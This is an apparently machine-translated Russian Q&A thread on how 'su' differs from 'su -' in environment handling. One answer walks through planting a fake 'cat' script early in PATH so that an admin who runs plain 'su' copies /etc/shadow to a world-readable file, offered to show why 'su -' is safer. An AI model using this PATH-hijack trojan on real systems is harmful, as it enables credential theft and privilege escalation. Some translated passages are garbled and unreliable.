Ответы:
su -
вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую базу.
su
просто переключает пользователя, обеспечивая нормальную оболочку со средой, почти такой же, как у старого пользователя.
Представьте, вы разработчик программного обеспечения с обычным пользовательским доступом к машине, а ваш невежественный администратор просто не даст вам root-доступ. Давайте (надеюсь) обмануть его.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Теперь вы спрашиваете своего администратора, почему вы не можете cat
использовать фиктивный файл в своей домашней папке, он просто не будет работать!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Если ваш админ не такой умный или просто ленивый, он может подойти к вам и попробовать свои полномочия суперпользователя:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Вау! Спасибо, супер админ!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Он, он.
Возможно, вы заметили, что поврежденная $PATH
переменная не была сброшена. Этого бы не произошло, если бы su -
вместо этого вызывал админ .
umask
как 000, иначе это не сработает.
su
файл в PATH. Не так сложно подражать поведению реального su
. Супер-пользователь все равно был небрежным :-)
su --
НЕ то же самое, что su -
: --
говорит обработчику опций getopt (s) (или аналогичному) прекратить обработку командной строки для дальнейших опций (полезно, например, если остальные содержат имена файлов, которые могут начинаться с '-'). То есть, в «ет -i - -f»: -f затем обрабатывается как обычный аргумент, так что здесь , как имя файла , к rm -i
, а не в качестве additionnal -f
опции к rm
команде. Так su --
это справедливо su
и нет su -
! Так su --
что было бы небезопасно (веселый и поучительный) пример Гивана от виля. Используйте su -
.
su -
полностью регистрирует вас как root, а su
делает так, что вы притворяетесь root.
Наиболее очевидный пример этого - ~
домашний каталог пользователя root, если вы его используете su -
, но ваш домашний каталог, если вы его используете su
.
В зависимости от вашей системы это также может означать различия в подсказках PATH
или файлах истории.
Поэтому, если вы являетесь частью команды, администрирующей систему, и ваш коллега дает вам команду на запуск, вы знаете, что она будет работать одинаково, если вы оба используете su -
, но если вы оба используете su
, могут быть различия из-за того, что у вас есть различные конфигурации оболочки.
С другой стороны, если вы хотите запустить команду от имени пользователя root, но использовать свою собственную конфигурацию, то, возможно su
, вам лучше.
Также не забывайте о том sudo
, что есть -s
возможность запустить оболочку от имени root. Конечно, это также имеет разные правила, и они меняются в зависимости от того, какой дистрибутив вы используете.
.bashrc
или /etc/bashrc
или /etc/profile.d
сценарии устанавливаются PATH
. Ищите if [ $UID -eq 0 ]
или что-то в этом роде.
$USER
например, оставлено без изменений.
sudo su
?
Я использую su - когда я нахожусь в каталоге как обычный пользователь, но хочу переключиться на root и оставаться в том же каталоге после переключения. Когда вы используете su - он переключает пользователя на root, а также переводит вас в / root, который является корневым домашним каталогом.
/
все, что определено как домашний каталог root
Основным отличием является:
su - username
устанавливает среду оболочки так, как если бы она была чистым логином от имени указанного пользователя, она обращается к переменным среды указанных пользователей и использует их,
su username
просто запускает оболочку с текущими настройками среды для указанного пользователя.
Если имя пользователя не указано с помощью su
и su -
, корневая учетная запись подразумевается по умолчанию.
su --
так же, какsu
.